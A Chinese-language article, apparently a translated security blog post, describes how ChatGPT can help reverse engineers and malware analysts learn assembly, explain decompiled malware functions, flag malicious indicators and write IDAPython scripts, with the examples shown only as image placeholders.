在未来,ChatGPT有可能变得更强大,对逆向工程师和恶意软件分析师更有用。随着不断的发展,可能会克服其当前的一些限制,例如对数据的操作依赖性是有限的,并且具有过去的时间戳。通过解决这些限制,ChatGPT可以成为逆向工程师和分析师不可或缺的工具,提供准确高效地分析代码所需的信息。

ChatGPT是人工智能研究实验室OpenAI新推出的一种人工智能技术驱动的自然语言处理工具,使用了Transformer神经网络架构,也是GPT-3.5架构,这是一种用于处理序列数据的模型,拥有语言理解和文本生成能力,尤其是它会通过连接大量的语料库来训练模型,这些语料库包含了真实世界中的对话,使得ChatGPT具备上知天文下知地理,还能根据聊天的上下文进行互动的能力,做到与真正人类几乎无异的聊天场景进行交流。ChatGPT不单是聊天机器人,还能进行撰写邮件、视频脚本、文案、翻译、代码等任务。

接下来就让我们看看ChatGPT如何帮助我们解决一些常见的逆向工程和恶意软件分析难题。

1.学习如何更有效地使用逆向工程工具

软件工具通常带有不同程度的内置帮助,它们所缺少的通常由专门的用户论坛和问答网站(如Stack Overflow、Stack Exchange等)来弥补。ChatGPT为快速获得逆向工程工具的帮助增加了另一条途径。

无论你是使用IDA Pro、Ghidra、Radare2、Hopper、Cutter还是其他一些逆向引擎平台,ChatGPT都能提供帮助。虽然所有这些平台都包含自己的内置帮助功能,但如果ChatGPT的培训模型中已经涵盖了这些问题,那么你可能会发现它能够回答与你自己的用例相关的特定问题,这是一种更快完成任务的方式。

1.jpg

使用ChatGPT作为radare2的交互式帮助助手

2.自学汇编语言

ChatGPT擅长传达相关信息。

例如,ChatGPT提供了关于函数调用基础知识和相关堆栈内存管理活动的回答。

2.jpg

我们可以要求ChatGPT在其输出中或多或少详细一些。例如,在这里,我们希望得到一个堆栈帧的视觉表示。

3.jpg

ChatGPT描述了一个堆栈框架

汇编代码是特定于平台和编译器的。如果向ChatGPT发出的程序集相关问题不包括与编译程序集的平台(即指令集)或更高级别语言相关的特性,ChatGPT将提供相关的免责声明信息,以正确定位答案。

ChatGPT可以帮助攻克汇编难题的另一种方式是将用户熟悉的高级代码转换为汇编代码。这通过将熟悉的概念映射到其内部来促进学习。我们观察到,ChatGPT可以很好地处理各种主题,包括在学习汇编时至关重要的重要概念,例如指针和函数指针调用。ChatGPT的响应通常包括带注释的汇编代码,这进一步提高了学习效果。

4.1.png

4.2.jpg

ChatGPT将高级代码转换为程序集

3.了解源代码如何转换为反汇编

作为恶意软件分析师,我们大部分时间都是从反汇编者的角度来看待恶意软件。编程语言的经验和知识在这里至关重要,但ChatGPT可以帮助我们了解已知源代码在反汇编程序中的样子,以及代码更改如何在反汇编中反映出来。新手可以通过编写自己的源代码来推断一些反汇编代码可能会做什么,并查看它是否与他们正在查看的反汇编类似。这可以帮助经验不足的分析人员加深对恶意代码的理解。

5.1.jpg

5.2.gif

4.快速编写PoC源代码

ChatGPT甚至可以帮助我们编写测试理论所需的源代码。例如,我们可以问AI以下问题:

6.png

然而,有时候ChatGPT需要一点引导。在写完我们请求的函数后,它决定将分解任务委托给我们:

7.jpg

首先,我们从前面的答案中复制代码,然后在给出明确的指令后粘贴它。

8.jpg

现在,我们得到了我们正在寻找的分解结果。

9.jpg

5.指令集之间的转换

鉴于汇编代码是特定于平台的,经验更丰富的逆向工程师可以利用ChatGPT查询不同的指令集,而不是他们已经熟悉的指令集。一种方法是指示ChatGPT将编写在一个指令集中的汇编代码转换为另一个指令集。

10.jpg

ChatGPT将x64汇编代码转换为ARM

这为进一步探索感兴趣的指令集提供了基础,例如,通过查询ChatGPT关于翻译后代码中指令的进一步信息。

11.jpg

ChatGPT解释了blx ARM指令

6. 比较语言或特定于平台的约定

有经验的逆向工程师还可以从使用ChatGPT查询编程语言和平台的内存管理技术的差异中受益,例如调用约定。

12.jpg

ChatGPT比较调用约定

在撰写本文时,ChatGPT正在使用2021年之前的训练数据进行训练。因此,如果某些平台或高级语言的特性在某个时间点之后发生了变化,ChatGPT不会提供当前信息。调用约定更改的一个例子是在Golang语言中从基于堆栈的调用约定转换为基于寄存器的调用约定。

有经验的逆向工程师,特别是恶意软件分析师,可以利用ChatGPT来熟悉日益流行的编程语言的高级结构,以及这些结构是如何在汇编中表示的。例如,内存安全的Golang和Rust越来越多地被恶意软件开发人员采用。

13.jpg

7.分析恶意软件样本中的代码段

ChatGPT能够解释和分析与逆向工程相关的代码,包括伪代码和汇编代码。这使得ChatGPT在分析恶意软件可执行文件的代码段(如函数)时非常有用,主要是因为ChatGPT可以提供代码执行活动的摘要。

这可以显著提高恶意软件逆向工程师的效率。Gepetto IDA Pro插件在IDA Pro中集成了ChatGPT,并查询语言模型以提供由Hex-Rays反汇编程序反编译的函数的含义。

解释代码的能力还可以对代码进行比较,使恶意软件分析人员能够了解不同恶意软件样本实现之间的差异。

为了在分析人员通常需要的描述性级别上总结代码的功能,ChatGPT可能缺少所需的关于分析中的可执行文件的更广泛的上下文,而分析人员可能拥有这些上下文。

假设分析师很少或没有向ChatGPT提供上下文,如果所分析的代码与其目的相关,那么该模型将提供最大的即时价值。在实践中,这通常意味着代码不会调用以ChatGPT未知的方式扩展代码功能的用户定义函数,但如果它调用函数,则它们是已知的、公开记录的库函数。由于ChatGPT是基于公开可用的数据进行训练的,因此语言模型此时可以准确地解释在用户提供的代码中使用这些函数的情况。

例如,如果提供给ChatGPT的伪代码引用了公开记录的库函数,则ChatGPT对代码用途的解释将围绕这些函数的功能展开。

14.jpg

ChatGPT通过解释十六进制射线伪代码来讨论函数的用途

为了从ChatGPT中获得更好的代码分析输出,用户仍然需要:

制定实质性的ChatGPT查询,以便提供所需的上下文;

与ChatGPT进行对话,在对话期间提供上下文,并完善ChatGPT的答案;

尝试在回答的末尾使用“重新生成响应”选项,这似乎是对ChatGPT的一种“再努力一点”的指示。

向ChatGPT添加更多上下文可以包括用户定义函数的功能,这些功能是分析师所了解的。上下文信息可以以编程的方式提供,以减少人工分析人员的工作量,例如,通过为此目的开发的反汇编程序插件。

这同样适用于从非技术角度改进ChatGPT的输出。例如,ida_gpt(一个通过查询ChatGPT来协助程序集代码分析的IDA Pro插件)分别为分析和重构程序集代码制定了下面的查询。

下面是ida_gpt ChatGPT查询的几个示例:

15.png

8.识别代码中的恶意活动

恶意软件分析师可以使用ChatGPT来识别某个功能可能实现的潜在恶意活动的指示器。这对于将恶意软件可执行文件中的功能映射到特定的恶意功能非常重要,类似于capa IDA Pro插件的功能。

在这种情况下,我们观察到ChatGPT能够对函数中恶意活动的所有指标的强度进行优先级排序。因此,恶意软件分析师可以确定与ChatGPT的交互范围,以更详细地讨论最强指标。

例如,OpenGPT将vssadmin.exe的执行确定为下面伪代码中恶意活动的最强指标。

16.jpg

16.2.jpg

16.3.jpg

ChatGPT评估恶意活动的指标

9.推测功能目的和目标

除了识别恶意活动指标外,恶意软件分析师还可以进一步与ChatGPT对话,以推测并更好地了解恶意软件如何使用特定平台或软件结构以及达到何种目的。即使在分析师没有提供全面背景的情况下,这也可能是有效的。

例如,下面的勒索软件伪代码代码使用Microsoft Cryptographic API(CAPI),也称为CryptographicAPI:下一代(CNG)加密架构,用于加密数据。

 17.1.jpg

17.2.jpg

17.3.jpg

ChatGPT讨论了恶意软件对CAPI的使用

10. 了解漏洞并利用代码

了解漏洞是如何工作的,恶意软件开发者如何利用它们,以及我们如何识别和检测它们在代码中的使用是一项极具挑战性的任务。ChatGPT在这方面也可以帮助我们。

让我们以CVE-2022-468889为例,看看ChatGPT是否可以帮助我们理解代码的工作原理。

18.jpg

ChatGPT为我们提供了以下解释。

19.jpg

人工智能最初找到的答案还是可以的,但它显然不了解漏洞的更广泛背景。我们可以通过提供更多信息来帮助它。因为ChatGPT是上下文感知的,所以我们不需要重复前面的问题或再次粘贴前面的代码。

20.jpg

让我们看看它现在提供了什么答案。

21.jpg

ChatGPT解释了CVE-2022-46889的漏洞代码

由于ChatGPT的上下文意识,研究人员有可能深入了解这一解释中他们希望了解更多信息的任何特定部分。

正如我们在前面的挑战中看到的,我们还可以要求在反汇编中表示,以查看恶意软件示例中的部分或全部利用代码。

11. 协助自动化逆向工程任务

反向工程师转而使用脚本语言来自动化手动完成的重复或容易出错的任务,例如重命名变量或大规模地对混淆的代码进行解混淆。这可以显著地加快和提高逆向工程任务的效率。ChatGPT能够编写代码,包括IDAPython, IDA Pro反汇编程序的脚本语言。

22.png

ChatGPT编写IDAPython脚本

由于ChatGPT目前使用2021之前的数据进行培训,并且IDAPython正在进行定期更改,我们观察到ChatGPT经常编写过时的IDAPythin脚本。因此,我们评估了ChatGPT生成的IDAPython代码最实际的用例可能是作为模板代码,用户可能需要对其进行轻微或适度的调整,以使代码在当前部署中发挥作用。这通常涉及更改引用的模块和函数名,以适应IDAPython API中的更改。需要少量或适度修改的模板IDAPython代码在需要编写的IDAPython代码中非常实用。

总结

总的来说,ChatGPT可以:

生成恶意代码执行的功能和操作的解释和摘要,这可以帮助逆向工程师和恶意软件分析师了解其目的和行为。

协助分解和反编译代码,将其分解为更小、更易于管理的块进行分析。

帮助逆向工程师和恶意软件分析师了解代码库不同部分之间的关系以及它们如何协同工作,这对识别和理解代码依赖性很有用。

通过生成漏洞及其潜在影响的解释和摘要,协助识别和理解代码漏洞。

帮助逆向工程师和恶意软件分析师了解用于混淆代码的技术,这对于分析和消除恶意代码非常有用。

协助生成代码分析和恶意软件分析结果的文档和报告。

为进一步分析提供指导和建议,帮助逆向工程师和恶意软件分析人员确定工作的优先级,并将重点放在工作的最重要方面。

用于创建逆向工程和恶意软件分析培训的教材和练习,帮助培养这些领域的技能和知识。

通过提供信息和分析结果的共享存储库,帮助促进团队成员之间的协作,这有助于提高效率和有效性。

协助生成用于代码和恶意软件分析的测试用例和场景,帮助确保分析是彻底和全面的。

通过生成代码和恶意软件行为的解释和摘要,为法律和法医调查提供帮助,这对于构建案例和演示恶意活动的影响非常有用。

对于初学者,ChatGPT可以全面介绍掌握逆向工程所需的概念和技能,例如汇编语言的基础知识和了解程序如何构造和运行所需的背景知识。

对于经验丰富的逆向工程师和恶意软件分析师,ChatGPT可以用于自动化和加速逆向工程任务,例如分析代码和了解其功能。ChatGPT对逆向工程师和恶意软件分析师的回答的价值取决于提供给语言模型的上下文信息的数量。这可以通过向ChatGPT发出上下文完整查询或与ChatGPT进行对话以改进答案来实现。

在未来,ChatGPT有可能变得更强大,对逆向工程师和恶意软件分析师更有用。随着不断的发展,可能会克服其当前的一些限制,例如对数据的操作依赖性是有限的,并且具有过去的时间戳。通过解决这些限制,ChatGPT可以成为逆向工程师和分析师不可或缺的工具,提供准确高效地分析代码所需的信息。